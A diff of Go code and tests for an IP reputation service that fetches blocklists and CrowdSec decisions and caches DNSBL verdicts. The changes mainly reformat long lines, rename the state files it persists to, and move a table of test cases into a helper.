@@ -302,8 +323,11 @@ func TestMetricsCountEachZonesQueriesAndThoseThatFailed(t *testing.T) {
|
|||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
|
|
||||||
scraped := httptest.NewRecorder()
|
scraped := httptest.NewRecorder()
|
||||||
m.ServeHTTP(scraped, httptest.NewRequestWithContext(t.Context(), http.MethodGet,
|
m.ServeHTTP(
|
||||||
"/", http.NoBody))
|
scraped,
|
||||||
|
httptest.NewRequestWithContext(t.Context(), http.MethodGet,
|
||||||
|
"/", http.NoBody),
|
||||||
|
)
|
||||||
|
|
||||||
for series, want := range map[string]string{
|
for series, want := range map[string]string{
|
||||||
"queries_total" + `{instance="app",source="` + zone + `"}`: "1",
|
"queries_total" + `{instance="app",source="` + zone + `"}`: "1",
|
||||||
@@ -348,19 +372,32 @@ func TestZoneKeyIsMaskedInTheVerdictsTheFailuresAndTheMetrics(t *testing.T) {
|
|||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
wantZones(t, dnsbl, listed, masked)
|
wantZones(t, dnsbl, listed, masked)
|
||||||
|
|
||||||
if got := waiting(queue); len(got) != 1 || got[0].Detail["source"] != masked {
|
if got := waiting(queue); len(got) != 1 ||
|
||||||
t.Errorf("alerts waiting %+v, want the failure's, from %s", got, masked)
|
got[0].Detail["source"] != masked {
|
||||||
|
t.Errorf(
|
||||||
|
"alerts waiting %+v, want the failure's, from %s",
|
||||||
|
got,
|
||||||
|
masked,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
scraped := httptest.NewRecorder()
|
scraped := httptest.NewRecorder()
|
||||||
m.ServeHTTP(scraped, httptest.NewRequestWithContext(t.Context(), http.MethodGet,
|
m.ServeHTTP(
|
||||||
"/", http.NoBody))
|
scraped,
|
||||||
|
httptest.NewRequestWithContext(t.Context(), http.MethodGet,
|
||||||
|
"/", http.NoBody),
|
||||||
|
)
|
||||||
|
|
||||||
for name, shown := range map[string]string{
|
for name, shown := range map[string]string{
|
||||||
"the log": log.String(), "the metrics": scraped.Body.String(),
|
"the log": log.String(), "the metrics": scraped.Body.String(),
|
||||||
} {
|
} {
|
||||||
if strings.Contains(shown, key) || !strings.Contains(shown, masked) {
|
if strings.Contains(shown, key) ||
|
||||||
t.Errorf("%s shows the key, or does not name the zone:\n%s", name, shown)
|
!strings.Contains(shown, masked) {
|
||||||
|
t.Errorf(
|
||||||
|
"%s shows the key, or does not name the zone:\n%s",
|
||||||
|
name,
|
||||||
|
shown,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
@@ -382,14 +419,23 @@ func TestVerdictsKeptAcrossARestart(t *testing.T) {
|
|||||||
kept := dnsbl.Snapshot()
|
kept := dnsbl.Snapshot()
|
||||||
|
|
||||||
want := []reputation.Verdict{
|
want := []reputation.Verdict{
|
||||||
{Zone: zone, Client: netip.MustParseAddr(listed), Listed: true, Fetched: fetched},
|
{
|
||||||
{Zone: zone, Client: netip.MustParseAddr(unlisted), Fetched: fetched},
|
Zone: zone,
|
||||||
|
Client: netip.MustParseAddr(listed),
|
||||||
|
Listed: true,
|
||||||
|
Fetched: fetched,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
Zone: zone,
|
||||||
|
Client: netip.MustParseAddr(unlisted),
|
||||||
|
Fetched: fetched,
|
||||||
|
},
|
||||||
}
|
}
|
||||||
if !reflect.DeepEqual(kept, want) {
|
if !reflect.DeepEqual(kept, want) {
|
||||||
t.Errorf("verdicts %+v, want %+v", kept, want)
|
t.Errorf("verdicts %+v, want %+v", kept, want)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Restarted an hour later with what reputation.json keeps, it uses
|
// Restarted an hour later with what dnsbl.json keeps, it uses
|
||||||
// the verdicts, and asks the zone nothing, until the TTL has passed
|
// the verdicts, and asks the zone nothing, until the TTL has passed
|
||||||
// since they were fetched.
|
// since they were fetched.
|
||||||
time.Sleep(time.Hour)
|
time.Sleep(time.Hour)
|
||||||
@@ -433,12 +479,17 @@ func TestNeitherAVerdictOfAZoneNotNamedNorOnePastItsTTLIsKept(t *testing.T) {
|
|||||||
|
|
||||||
dnsbl.Load([]reputation.Verdict{notNamed, stale, inUse})
|
dnsbl.Load([]reputation.Verdict{notNamed, stale, inUse})
|
||||||
|
|
||||||
if got := dnsbl.Snapshot(); !reflect.DeepEqual(got, []reputation.Verdict{inUse}) {
|
if got := dnsbl.Snapshot(); !reflect.DeepEqual(
|
||||||
|
got,
|
||||||
|
[]reputation.Verdict{inUse},
|
||||||
|
) {
|
||||||
t.Errorf("verdicts %+v, want only %+v", got, inUse)
|
t.Errorf("verdicts %+v, want only %+v", got, inUse)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestAtMost100000VerdictsKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.T) {
|
func TestAtMost100000VerdictsKeptTheOneFetchedLongestAgoDroppedFirst(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC)
|
now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC)
|
||||||
@@ -446,7 +497,7 @@ func TestAtMost100000VerdictsKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.
|
|||||||
p.Now = func() time.Time { return now }
|
p.Now = func() time.Time { return now }
|
||||||
dnsbl := reputation.NewDNSBL(p)
|
dnsbl := reputation.NewDNSBL(p)
|
||||||
|
|
||||||
// 100,001 verdicts, listed by client, as reputation.json lists them,
|
// 100,001 verdicts, listed by client, as dnsbl.json lists them,
|
||||||
// each fetched a millisecond before the one before it: the last is one
|
// each fetched a millisecond before the one before it: the last is one
|
||||||
// too many.
|
// too many.
|
||||||
const count = 100001
|
const count = 100001
|
||||||
@@ -466,7 +517,10 @@ func TestAtMost100000VerdictsKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.
|
|||||||
got := dnsbl.Snapshot()
|
got := dnsbl.Snapshot()
|
||||||
if len(got) != count-1 || !slices.Contains(got, verdicts[0]) ||
|
if len(got) != count-1 || !slices.Contains(got, verdicts[0]) ||
|
||||||
slices.Contains(got, verdicts[count-1]) {
|
slices.Contains(got, verdicts[count-1]) {
|
||||||
t.Errorf("%d verdicts kept, want all but the one fetched longest ago", len(got))
|
t.Errorf(
|
||||||
|
"%d verdicts kept, want all but the one fetched longest ago",
|
||||||
|
len(got),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -476,7 +530,11 @@ func TestQueriesGoToTheResolverSWWDNSBLResolverNames(t *testing.T) {
|
|||||||
listedName: {addrs: []string{listing}},
|
listedName: {addrs: []string{listing}},
|
||||||
}}
|
}}
|
||||||
|
|
||||||
conn, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", "127.0.0.1:0")
|
conn, err := (&net.ListenConfig{}).ListenPacket(
|
||||||
|
t.Context(),
|
||||||
|
"udp",
|
||||||
|
"127.0.0.1:0",
|
||||||
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("listen: %v", err)
|
t.Fatalf("listen: %v", err)
|
||||||
}
|
}
|
||||||
@@ -500,7 +558,8 @@ func TestQueriesGoToTheResolverSWWDNSBLResolverNames(t *testing.T) {
|
|||||||
// process held up for a whole minute would see the query fail.
|
// process held up for a whole minute would see the query fail.
|
||||||
p.Timeout = time.Minute
|
p.Timeout = time.Minute
|
||||||
|
|
||||||
isListed, err := reputation.NewDNSBL(p).LookUp(zone, netip.MustParseAddr(listed))
|
isListed, err := reputation.NewDNSBL(p).
|
||||||
|
LookUp(zone, netip.MustParseAddr(listed))
|
||||||
if err != nil || !isListed {
|
if err != nil || !isListed {
|
||||||
t.Errorf("listed %t (%v), want true", isListed, err)
|
t.Errorf("listed %t (%v), want true", isListed, err)
|
||||||
}
|
}
|
||||||
@@ -554,7 +613,11 @@ func (s *resolverStandIn) set(name string, given answer) {
|
|||||||
// dial connects Go's resolver to the stand-in through an in-memory
|
// dial connects Go's resolver to the stand-in through an in-memory
|
||||||
// connection, on which it sends each query, and reads each reply, after
|
// connection, on which it sends each query, and reads each reply, after
|
||||||
// its length, as over TCP.
|
// its length, as over TCP.
|
||||||
func (s *resolverStandIn) dial(context.Context, string, string) (net.Conn, error) {
|
func (s *resolverStandIn) dial(
|
||||||
|
context.Context,
|
||||||
|
string,
|
||||||
|
string,
|
||||||
|
) (net.Conn, error) {
|
||||||
client, server := net.Pipe()
|
client, server := net.Pipe()
|
||||||
|
|
||||||
go s.serve(server)
|
go s.serve(server)
|
||||||
@@ -590,8 +653,10 @@ func (s *resolverStandIn) serve(conn net.Conn) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
//nolint:gosec // a reply of a few dozen bytes
|
//nolint:gosec // a reply of a few dozen bytes
|
||||||
_, err = conn.Write(append(binary.BigEndian.AppendUint16(nil, uint16(len(reply))),
|
_, err = conn.Write(
|
||||||
reply...))
|
append(binary.BigEndian.AppendUint16(nil, uint16(len(reply))),
|
||||||
|
reply...),
|
||||||
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@@ -692,7 +757,10 @@ func waitForTheResolver() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// newDNSBL returns the DNSBL of p, asking resolver.
|
// newDNSBL returns the DNSBL of p, asking resolver.
|
||||||
func newDNSBL(resolver *resolverStandIn, p reputation.DNSBLParams) *reputation.DNSBL {
|
func newDNSBL(
|
||||||
|
resolver *resolverStandIn,
|
||||||
|
p reputation.DNSBLParams,
|
||||||
|
) *reputation.DNSBL {
|
||||||
dnsbl := reputation.NewDNSBL(p)
|
dnsbl := reputation.NewDNSBL(p)
|
||||||
dnsbl.SetDial(resolver.dial)
|
dnsbl.SetDial(resolver.dial)
|
||||||
|
|
||||||
@@ -701,7 +769,12 @@ func newDNSBL(resolver *resolverStandIn, p reputation.DNSBLParams) *reputation.D
|
|||||||
|
|
||||||
// wantZones checks the zones whose verdict dnsbl says lists client, as a
|
// wantZones checks the zones whose verdict dnsbl says lists client, as a
|
||||||
// request from client finds them.
|
// request from client finds them.
|
||||||
func wantZones(t *testing.T, dnsbl *reputation.DNSBL, client string, want ...string) {
|
func wantZones(
|
||||||
|
t *testing.T,
|
||||||
|
dnsbl *reputation.DNSBL,
|
||||||
|
client string,
|
||||||
|
want ...string,
|
||||||
|
) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
got := dnsbl.ListedBy(t.Context(), netip.MustParseAddr(client))
|
got := dnsbl.ListedBy(t.Context(), netip.MustParseAddr(client))
|
||||||
@@ -712,12 +785,21 @@ func wantZones(t *testing.T, dnsbl *reputation.DNSBL, client string, want ...str
|
|||||||
|
|
||||||
// wantQueries checks how many queries dnsbl made to zone, and how many of
|
// wantQueries checks how many queries dnsbl made to zone, and how many of
|
||||||
// them failed.
|
// them failed.
|
||||||
func wantQueries(t *testing.T, dnsbl *reputation.DNSBL, queries, failures int) {
|
func wantQueries(
|
||||||
|
t *testing.T,
|
||||||
|
dnsbl *reputation.DNSBL,
|
||||||
|
queries, failures int,
|
||||||
|
) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
if dnsbl.Queries(zone) != queries || dnsbl.Failures(zone) != failures {
|
if dnsbl.Queries(zone) != queries || dnsbl.Failures(zone) != failures {
|
||||||
t.Errorf("%d queries and %d failures, want %d and %d", dnsbl.Queries(zone),
|
t.Errorf(
|
||||||
dnsbl.Failures(zone), queries, failures)
|
"%d queries and %d failures, want %d and %d",
|
||||||
|
dnsbl.Queries(zone),
|
||||||
|
dnsbl.Failures(zone),
|
||||||
|
queries,
|
||||||
|
failures,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -7,8 +7,8 @@
|
|||||||
// and when each was last tried. It also asks the DNSBL zones of
|
// and when each was last tried. It also asks the DNSBL zones of
|
||||||
// SWW_DNSBL_ZONES about clients, and keeps their verdicts, and checks
|
// SWW_DNSBL_ZONES about clients, and keeps their verdicts, and checks
|
||||||
// clients with AbuseIPDB, and keeps their scores and the checks spent
|
// clients with AbuseIPDB, and keeps their scores and the checks spent
|
||||||
// today. The state package writes all of these to reputation.json and
|
// today. The state package writes all of these to files and reads them
|
||||||
// reads them from it, so that a restart keeps them too.
|
// from there, so that a restart keeps them too.
|
||||||
package reputation
|
package reputation
|
||||||
|
|
||||||
import (
|
import (
|
||||||
@@ -47,14 +47,17 @@ const (
|
|||||||
var (
|
var (
|
||||||
errStatus = errors.New("the server answered")
|
errStatus = errors.New("the server answered")
|
||||||
errTooLong = errors.New("the list is longer than 16 MiB")
|
errTooLong = errors.New("the list is longer than 16 MiB")
|
||||||
errNotNetblock = errors.New("is not an address or a netblock, such as 192.0.2.0/24")
|
errNotNetblock = errors.New(
|
||||||
|
"is not an address or a netblock, such as 192.0.2.0/24",
|
||||||
|
)
|
||||||
errNotASNPercent = errors.New(
|
errNotASNPercent = errors.New(
|
||||||
"is not an AS number, : and a percentage, such as AS64496:50")
|
"is not an AS number, : and a percentage, such as AS64496:50")
|
||||||
errNotDecision = errors.New(
|
errNotDecision = errors.New(
|
||||||
"does not give an address or a netblock and a duration, such as 4h0m0s")
|
"does not give an address or a netblock and a duration, such as 4h0m0s",
|
||||||
|
)
|
||||||
)
|
)
|
||||||
|
|
||||||
// List is a list as reputation.json holds it: the URL it is fetched from,
|
// List is a list as lists.json holds it: the URL it is fetched from,
|
||||||
// when it was last tried, the fetch failed or not, and its last good copy:
|
// when it was last tried, the fetch failed or not, and its last good copy:
|
||||||
// when that was fetched, and its lines, as fetched, comment lines
|
// when that was fetched, and its lines, as fetched, comment lines
|
||||||
// included, both left out while no fetch of it has succeeded.
|
// included, both left out while no fetch of it has succeeded.
|
||||||
@@ -106,7 +109,7 @@ type Lists struct {
|
|||||||
lists map[string]*list
|
lists map[string]*list
|
||||||
}
|
}
|
||||||
|
|
||||||
// list is one list: what reputation.json keeps of it, its last try, zero
|
// list is one list: what lists.json keeps of it, its last try, zero
|
||||||
// before the first, and its last good copy, what that copy says, and how
|
// before the first, and its last good copy, what that copy says, and how
|
||||||
// many fetches of it failed.
|
// many fetches of it failed.
|
||||||
type list struct {
|
type list struct {
|
||||||
@@ -226,7 +229,10 @@ func (l *Lists) ASNLimitPercent(asn string) (int64, bool) {
|
|||||||
// decision list on a netblock that holds addr and that ends last, and
|
// decision list on a netblock that holds addr and that ends last, and
|
||||||
// whether it is still in force at now. A decision that has ended no
|
// whether it is still in force at now. A decision that has ended no
|
||||||
// longer bans, even before the next fetch drops it.
|
// longer bans, even before the next fetch drops it.
|
||||||
func (l *Lists) CrowdSecDecision(addr netip.Addr, now time.Time) (Decision, bool) {
|
func (l *Lists) CrowdSecDecision(
|
||||||
|
addr netip.Addr,
|
||||||
|
now time.Time,
|
||||||
|
) (Decision, bool) {
|
||||||
if l.params.CrowdSecDecisionsURL == "" {
|
if l.params.CrowdSecDecisionsURL == "" {
|
||||||
return Decision{}, false
|
return Decision{}, false
|
||||||
}
|
}
|
||||||
@@ -272,7 +278,7 @@ func (l *Lists) Failures(listURL string) int {
|
|||||||
|
|
||||||
// Run fetches each list once it is due, as due tells, until ctx is done. A
|
// Run fetches each list once it is due, as due tells, until ctx is done. A
|
||||||
// list never tried is fetched at once, and so is one that is due by its
|
// list never tried is fetched at once, and so is one that is due by its
|
||||||
// last try or copy read from reputation.json.
|
// last try or copy read from lists.json.
|
||||||
func (l *Lists) Run(ctx context.Context) {
|
func (l *Lists) Run(ctx context.Context) {
|
||||||
if len(l.lists) == 0 {
|
if len(l.lists) == 0 {
|
||||||
return
|
return
|
||||||
@@ -292,7 +298,7 @@ func (l *Lists) Run(ctx context.Context) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Snapshot returns each list that has been tried, with its copy, if it
|
// Snapshot returns each list that has been tried, with its copy, if it
|
||||||
// has one, sorted by URL, as reputation.json lists them.
|
// has one, sorted by URL, as lists.json lists them.
|
||||||
func (l *Lists) Snapshot() []List {
|
func (l *Lists) Snapshot() []List {
|
||||||
l.mu.Lock()
|
l.mu.Lock()
|
||||||
|
|
||||||
@@ -313,7 +319,7 @@ func (l *Lists) Snapshot() []List {
|
|||||||
return tried
|
return tried
|
||||||
}
|
}
|
||||||
|
|
||||||
// Load puts lists, read from reputation.json, in place of the last tries
|
// Load puts lists, read from lists.json, in place of the last tries
|
||||||
// and copies held. A list Params does not name is dropped. A copy with a
|
// and copies held. A list Params does not name is dropped. A copy with a
|
||||||
// line that parse refuses is an error, and then nothing changes.
|
// line that parse refuses is an error, and then nothing changes.
|
||||||
func (l *Lists) Load(lists []List) error {
|
func (l *Lists) Load(lists []List) error {
|
||||||
@@ -431,12 +437,24 @@ func (l *Lists) fetch(ctx context.Context, listURL string) {
|
|||||||
// Raised before it is logged, so that the alert is there once the
|
// Raised before it is logged, so that the alert is there once the
|
||||||
// log line is.
|
// log line is.
|
||||||
raiseFailure(l.params.Alerts, failed, listURL, err)
|
raiseFailure(l.params.Alerts, failed, listURL, err)
|
||||||
l.params.ProcessLog.Warn(failed, "url", listURL, "error", err.Error())
|
l.params.ProcessLog.Warn(
|
||||||
|
failed,
|
||||||
|
"url",
|
||||||
|
listURL,
|
||||||
|
"error",
|
||||||
|
err.Error(),
|
||||||
|
)
|
||||||
|
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
l.params.ProcessLog.Info("fetched a list", "url", listURL, "lines", len(lines))
|
l.params.ProcessLog.Info(
|
||||||
|
"fetched a list",
|
||||||
|
"url",
|
||||||
|
listURL,
|
||||||
|
"lines",
|
||||||
|
len(lines),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// raiseFailure raises a source_failure alert into queue, with reason, and
|
// raiseFailure raises a source_failure alert into queue, with reason, and
|
||||||
@@ -459,7 +477,12 @@ func (l *Lists) get(ctx context.Context, listURL string) ([]string, error) {
|
|||||||
ctx, cancel := context.WithTimeout(ctx, fetchTimeout)
|
ctx, cancel := context.WithTimeout(ctx, fetchTimeout)
|
||||||
defer cancel()
|
defer cancel()
|
||||||
|
|
||||||
req, err := http.NewRequestWithContext(ctx, http.MethodGet, listURL, http.NoBody)
|
req, err := http.NewRequestWithContext(
|
||||||
|
ctx,
|
||||||
|
http.MethodGet,
|
||||||
|
listURL,
|
||||||
|
http.NoBody,
|
||||||
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("make the request: %w", err)
|
return nil, fmt.Errorf("make the request: %w", err)
|
||||||
}
|
}
|
||||||
@@ -570,7 +593,10 @@ func parseNetblock(text string) (netip.Prefix, bool) {
|
|||||||
return netip.Prefix{}, false
|
return netip.Prefix{}, false
|
||||||
}
|
}
|
||||||
|
|
||||||
return netip.PrefixFrom(netblock.Addr().Unmap(), netblock.Bits()-mappedBits), true
|
return netip.PrefixFrom(
|
||||||
|
netblock.Addr().Unmap(),
|
||||||
|
netblock.Bits()-mappedBits,
|
||||||
|
), true
|
||||||
}
|
}
|
||||||
|
|
||||||
// parsePercents reads the lines of the file of AS:percent lines, each an
|
// parsePercents reads the lines of the file of AS:percent lines, each an
|
||||||
@@ -628,7 +654,8 @@ func parseDecisions(lines []string, fetched time.Time) (entries, error) {
|
|||||||
found := entries{decisions: map[netip.Prefix]Decision{}}
|
found := entries{decisions: map[netip.Prefix]Decision{}}
|
||||||
|
|
||||||
for i, decision := range answer {
|
for i, decision := range answer {
|
||||||
if decision.Type != "ban" || (decision.Scope != "Ip" && decision.Scope != "Range") {
|
if decision.Type != "ban" ||
|
||||||
|
(decision.Scope != "Ip" && decision.Scope != "Range") {
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -636,12 +663,19 @@ func parseDecisions(lines []string, fetched time.Time) (entries, error) {
|
|||||||
|
|
||||||
duration, err := time.ParseDuration(decision.Duration)
|
duration, err := time.ParseDuration(decision.Duration)
|
||||||
if !ok || err != nil {
|
if !ok || err != nil {
|
||||||
return entries{}, fmt.Errorf("decision %d %w", i+1, errNotDecision)
|
return entries{}, fmt.Errorf(
|
||||||
|
"decision %d %w",
|
||||||
|
i+1,
|
||||||
|
errNotDecision,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
expires := fetched.Add(duration)
|
expires := fetched.Add(duration)
|
||||||
if expires.After(found.decisions[netblock].Expires) {
|
if expires.After(found.decisions[netblock].Expires) {
|
||||||
found.decisions[netblock] = Decision{Expires: expires, Scenario: decision.Scenario}
|
found.decisions[netblock] = Decision{
|
||||||
|
Expires: expires,
|
||||||
|
Scenario: decision.Scenario,
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if !slices.Contains(found.lengths, netblock.Bits()) {
|
if !slices.Contains(found.lengths, netblock.Bits()) {
|
||||||
|
|||||||
@@ -72,7 +72,9 @@ func TestListedAddressesAndNetblocksWithTheCommentsLeftOut(t *testing.T) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestIPv4MappedLineListsTheIPv4AddressOrNetblockItStandsFor(t *testing.T) {
|
func TestIPv4MappedLineListsTheIPv4AddressOrNetblockItStandsFor(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
now := time.Now()
|
now := time.Now()
|
||||||
@@ -126,7 +128,9 @@ func TestListFetchedAgainOnceRefreshHasPassed(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
servers := &standIn{lists: map[string]string{dropURL: "203.0.113.9\n"}}
|
servers := &standIn{
|
||||||
|
lists: map[string]string{dropURL: "203.0.113.9\n"},
|
||||||
|
}
|
||||||
lists := start(t, servers, params(dropURL))
|
lists := start(t, servers, params(dropURL))
|
||||||
began := time.Now()
|
began := time.Now()
|
||||||
|
|
||||||
@@ -142,41 +146,21 @@ func TestListFetchedAgainOnceRefreshHasPassed(t *testing.T) {
|
|||||||
wantListedBy(t, lists, "203.0.113.9")
|
wantListedBy(t, lists, "203.0.113.9")
|
||||||
wantListedBy(t, lists, "203.0.113.10", dropURL)
|
wantListedBy(t, lists, "203.0.113.10", dropURL)
|
||||||
|
|
||||||
if fetched := lists.Fetched(dropURL); !fetched.Equal(began.Add(refresh)) {
|
if fetched := lists.Fetched(dropURL); !fetched.Equal(
|
||||||
|
began.Add(refresh),
|
||||||
|
) {
|
||||||
t.Errorf("the copy in use was fetched at %s, want %s", fetched,
|
t.Errorf("the copy in use was fetched at %s, want %s", fetched,
|
||||||
began.Add(refresh))
|
began.Add(refresh))
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(t *testing.T) {
|
func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
for _, tc := range []struct {
|
for _, tc := range listFailures() {
|
||||||
name string
|
|
||||||
// fail has the stand-in answer the fetches after the first so that
|
|
||||||
// they fail with error.
|
|
||||||
fail func(servers *standIn)
|
|
||||||
error string
|
|
||||||
}{
|
|
||||||
{
|
|
||||||
"an answer other than 200",
|
|
||||||
func(servers *standIn) { servers.set(dropURL, "") },
|
|
||||||
"the server answered 503 Service Unavailable",
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"a line that does not read",
|
|
||||||
func(servers *standIn) { servers.set(dropURL, "203.0.113.10\n<html>\n") },
|
|
||||||
"line 2 is not an address or a netblock, such as 192.0.2.0/24",
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"a list longer than 16 MiB",
|
|
||||||
func(servers *standIn) {
|
|
||||||
servers.set(dropURL, strings.Repeat("#\n", 8<<20+1))
|
|
||||||
},
|
|
||||||
"the list is longer than 16 MiB",
|
|
||||||
},
|
|
||||||
} {
|
|
||||||
t.Run(tc.name, func(t *testing.T) {
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
@@ -205,8 +189,13 @@ func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(t *testing.T) {
|
|||||||
want := kept[0]
|
want := kept[0]
|
||||||
want.Tried = time.Now()
|
want.Tried = time.Now()
|
||||||
|
|
||||||
if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{want}) {
|
got := lists.Snapshot()
|
||||||
t.Errorf("lists %+v, want the first copy, last tried now, %+v", got, want)
|
if !reflect.DeepEqual(got, []reputation.List{want}) {
|
||||||
|
t.Errorf(
|
||||||
|
"lists %+v, want the first copy, last tried now, %+v",
|
||||||
|
got,
|
||||||
|
want,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
if lists.Failures(dropURL) != 2 {
|
if lists.Failures(dropURL) != 2 {
|
||||||
@@ -215,10 +204,14 @@ func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(t *testing.T) {
|
|||||||
|
|
||||||
// One alert for the first failure; the cooldown holds back the
|
// One alert for the first failure; the cooldown holds back the
|
||||||
// second.
|
// second.
|
||||||
wantAlert(t, queue, fetchFailure(time.Now().Add(-refresh), dropURL, tc.error))
|
failed := time.Now().Add(-refresh)
|
||||||
|
wantAlert(t, queue, fetchFailure(failed, dropURL, tc.error))
|
||||||
|
|
||||||
if !strings.Contains(log.String(), `"msg":"fetching a list failed",`+
|
if !strings.Contains(
|
||||||
`"url":"`+dropURL+`","error":"`+tc.error) {
|
log.String(),
|
||||||
|
`"msg":"fetching a list failed",`+
|
||||||
|
`"url":"`+dropURL+`","error":"`+tc.error,
|
||||||
|
) {
|
||||||
t.Errorf("logged\n%s\nwant the failures", log.String())
|
t.Errorf("logged\n%s\nwant the failures", log.String())
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
@@ -226,6 +219,40 @@ func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// listFailure is a way a list's fetch can fail.
|
||||||
|
type listFailure struct {
|
||||||
|
name string
|
||||||
|
// fail has the stand-in answer the fetches after the first so that
|
||||||
|
// they fail with error.
|
||||||
|
fail func(servers *standIn)
|
||||||
|
error string
|
||||||
|
}
|
||||||
|
|
||||||
|
// listFailures returns the ways a list's fetch can fail.
|
||||||
|
func listFailures() []listFailure {
|
||||||
|
return []listFailure{
|
||||||
|
{
|
||||||
|
"an answer other than 200",
|
||||||
|
func(servers *standIn) { servers.set(dropURL, "") },
|
||||||
|
"the server answered 503 Service Unavailable",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"a line that does not read",
|
||||||
|
func(servers *standIn) {
|
||||||
|
servers.set(dropURL, "203.0.113.10\n<html>\n")
|
||||||
|
},
|
||||||
|
"line 2 is not an address or a netblock, such as 192.0.2.0/24",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"a list longer than 16 MiB",
|
||||||
|
func(servers *standIn) {
|
||||||
|
servers.set(dropURL, strings.Repeat("#\n", 8<<20+1))
|
||||||
|
},
|
||||||
|
"the list is longer than 16 MiB",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func TestFetchNotDoneWithinAMinuteFails(t *testing.T) {
|
func TestFetchNotDoneWithinAMinuteFails(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
@@ -237,19 +264,27 @@ func TestFetchNotDoneWithinAMinuteFails(t *testing.T) {
|
|||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
|
|
||||||
if lists.Failures(dropURL) != 0 {
|
if lists.Failures(dropURL) != 0 {
|
||||||
t.Errorf("%d failures before a minute, want none", lists.Failures(dropURL))
|
t.Errorf(
|
||||||
|
"%d failures before a minute, want none",
|
||||||
|
lists.Failures(dropURL),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
time.Sleep(time.Nanosecond)
|
time.Sleep(time.Nanosecond)
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
|
|
||||||
if lists.Failures(dropURL) != 1 {
|
if lists.Failures(dropURL) != 1 {
|
||||||
t.Errorf("%d failures after a minute, want 1", lists.Failures(dropURL))
|
t.Errorf(
|
||||||
|
"%d failures after a minute, want 1",
|
||||||
|
lists.Failures(dropURL),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestKeptCopyIsFetchedAgainOnceRefreshHasPassedSinceItWasFetched(t *testing.T) {
|
func TestKeptCopyIsFetchedAgainOnceRefreshHasPassedSinceItWasFetched(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
@@ -260,10 +295,18 @@ func TestKeptCopyIsFetchedAgainOnceRefreshHasPassedSinceItWasFetched(t *testing.
|
|||||||
lists.SetTransport(servers)
|
lists.SetTransport(servers)
|
||||||
|
|
||||||
// drop.txt was fetched an hour ago, and tor.txt a refresh ago, as
|
// drop.txt was fetched an hour ago, and tor.txt a refresh ago, as
|
||||||
// reputation.json says at start.
|
// lists.json says at start.
|
||||||
err := lists.Load([]reputation.List{
|
